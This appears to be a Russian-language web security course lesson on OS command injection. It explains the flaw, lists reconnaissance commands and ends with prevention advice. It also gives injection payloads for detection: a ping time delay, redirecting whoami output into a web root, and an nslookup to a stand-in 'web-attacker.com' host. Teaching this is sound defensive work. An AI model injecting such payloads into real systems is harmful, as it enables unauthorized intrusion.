---
# System prepended metadata

title: Занятие 4. OS command injection.
tags: [Intro to Web Security]

---

# Занятие 4. OS command injection.

###### tags: `Intro to Web Security`

![](https://i.imgur.com/wX31ADP.png)


#### Материалы и описание для самостоятельного изучения:

- инъекции SQL
    - [PortSwigger academy](https://portswigger.net/web-security/sql-injection)
    - [sqlinjection.net](https://www.sqlinjection.net/tutorial/)
    - [hacksplaining.com](https://www.hacksplaining.com/lessons)

## Что такое инъекция команд OS? 

Инъекция команд  операционной системы (также известная как shell инъекция) - это уязвимость веб-безопасности, которая позволяет злоумышленнику выполнять произвольные команды операционной системы (ОС) на сервере, на котором запущено приложение, и, как правило, полностью компрометировать приложение и все его данные. 

Очень часто злоумышленник может использовать уязвимость для внедрения команд операционной системы, чтобы скомпрометировать другие части инфраструктуры хостинга, используя доверительные отношения для переноса атаки на другие системы в организации.

![](https://i.imgur.com/yG6Azpa.png)

## Полезные команды

Когда вы определили уязвимость для инъекции команд операционной системы, обычно полезно выполнить некоторые начальные команды, чтобы получить информацию о системе, которую вы взломали. Ниже приводится краткое описание некоторых команд, которые полезны на платформах Linux и Windows:

|Назначение команды|Linux|Windows|
|---|---|---|
|Имя пользователя|whoami|whoami|
|Система|uname -a|ver|
|Конфигурация сети|ifconfig|ipconfig /all|
|Сетевые подключения|netstat -an|netstat -an|
|Процессы|ps -ef|tasklist|

![](https://i.imgur.com/7NxuJLP.png)

## Уязвимости для слепой инъекции команд ОС

Во многих случаях инъекции команд ОС используют слепые инъекции. Это означает, что приложение не возвращает выходные данные команды в своем HTTP-ответе. Слепые уязвимости все еще можно использовать, но требуются другие методы.

Вы можете использовать введенную команду, которая вызовет временную задержку чтобы найти инъекцию, а после перенаправить вывод введенной команды в файл в корневом каталоге или использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST.

![](https://i.imgur.com/Nn8U0JT.png)

## Обнаружение слепого ввода команд операционной системы с использованием временных задержек

Самым простым способом сделать это является команда ping, поскольку она позволяет указать количество отправляемых ICMP-пакетов и, следовательно, время, необходимое для выполнения команды:

`& ping -с 10 127.0.0.1 &`

Эта команда заставит приложение пинговать свой сетевой адаптер обратной связи в течение 10 секунд. То есть произойдет задержка ответа.

![](https://i.imgur.com/T88KqHJ.png)

## Использование слепой инъекции команд операционной системы путем перенаправления вывода

Вы можете перенаправить вывод введенной команды в файл в корневом каталоге, который затем можно получить с помощью браузера. 

Например, если приложение обслуживает статические ресурсы из расположения файловой системы `/var/www/static`, вы можете ввести следующие входные данные:

`& whoami >/var/www/static/whoami.txt &`

Символ > отправляет вывод команды whoami в указанный файл. Затем вы можете использовать свой браузер для извлечения `https://vulnerable-website.com/whoami.txt` чтобы получить файл и просмотреть выходные данные введенной команды.

![](https://i.imgur.com/3PHqwh8.png)

## Использование слепой инъекции команд операционной системы с использованием out-of-band (OAST)

Вы можете использовать введенную команду, которая вызовет внеполосное сетевое взаимодействие с системой, которой вы управляете, с использованием методов OAST. Например:

`& nslookup  kgji2ohoyw.web-attacker.com &`

Эта полезная нагрузка использует команду `nslookup`, чтобы вызвать поиск DNS для указанного домена. Злоумышленник может отслеживать выполнение указанного поиска и тем самым определять, что команда была успешно введена.

![](https://i.imgur.com/84r0Ewo.png)

## Как предотвратить инъекции команд операционной системы

Безусловно, самый эффективный способ предотвратить уязвимости внедрения команд операционной системы - это никогда не вызывать команды операционной системы из кода прикладного уровня. 

Практически в каждом случае существуют альтернативные способы реализации требуемой функциональности с использованием более безопасных API-интерфейсов платформы.

Если вызов команд операционной системы с вводом, предоставленным пользователем считается неизбежным, то необходимо выполнить строгую проверку ввода. Некоторые примеры эффективной проверки включают:

- Проверка на соответствие белому списку разрешенных значений.
- Проверка того, что входные данные являются числом.
- Проверка того, что входные данные содержат только буквенно-цифровые символы, никакого другого синтаксиса или пробелов.

Никогда не пытайтесь очистить ввод, просто избегая метасимволов оболочки. На практике такой метод слишком часто подвержен ошибкам и уязвим для обхода квалифицированным злоумышленником.

![](https://i.imgur.com/I9ih5DA.png)

